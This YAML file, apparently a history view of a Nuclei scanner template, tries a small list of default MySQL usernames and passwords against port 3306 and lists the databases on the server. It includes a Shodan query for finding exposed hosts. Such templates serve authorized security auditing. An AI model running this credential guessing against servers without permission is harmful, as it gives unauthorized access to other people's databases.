nuclei-templates/javascript/enumeration/mysql/mysql-show-databases.yaml

52 lines
1.2 KiB
YAML
Raw Normal View History

id: mysql-show-databases
info:
name: MySQL - Show Databases
author: DhiyaneshDk
severity: high
reference:
- https://nmap.org/nsedoc/scripts/mysql-databases.html
metadata:
verified: true
max-request: 16
shodan-query: "port:3306"
2024-03-22 10:10:06 +00:00
tags: js,mysql,network,enum
javascript:
- code: |
let m = require('nuclei/mysql');
let c = m.MySQLClient();
let response = c.ExecuteQuery(Host,Port,User,Pass,Query);
2024-03-09 18:32:19 +00:00
Export(response);
args:
Host: "{{Host}}"
Port: "3306"
Query: "show databases;"
User: "{{usernames}}"
Pass: "{{passwords}}"
payloads:
2024-03-22 10:10:06 +00:00
usernames:
- root
- admin
- mysql
2024-03-22 14:11:12 +00:00
- test
2024-03-22 10:10:06 +00:00
passwords:
- root
- admin
2024-03-22 14:11:12 +00:00
- mysql
- test
2024-03-22 10:10:06 +00:00
attack: clusterbomb
2024-03-22 10:10:06 +00:00
stop-at-first-match: true
matchers:
- type: dsl
dsl:
- "success == true"
extractors:
- type: json
part: response
json:
- .Rows[] | .Database
# digest: 4a0a00473045022052bef740c486c4e0ccf7cc5e07231a1213e07b8ba149919e02f29e53ecebcb01022100bd4ac59dbc20f84f9ae5f8dba3f183756df56d2fa17a3bab7ea014631f4b2a59:922c64590222798bb761d5b6d8e72950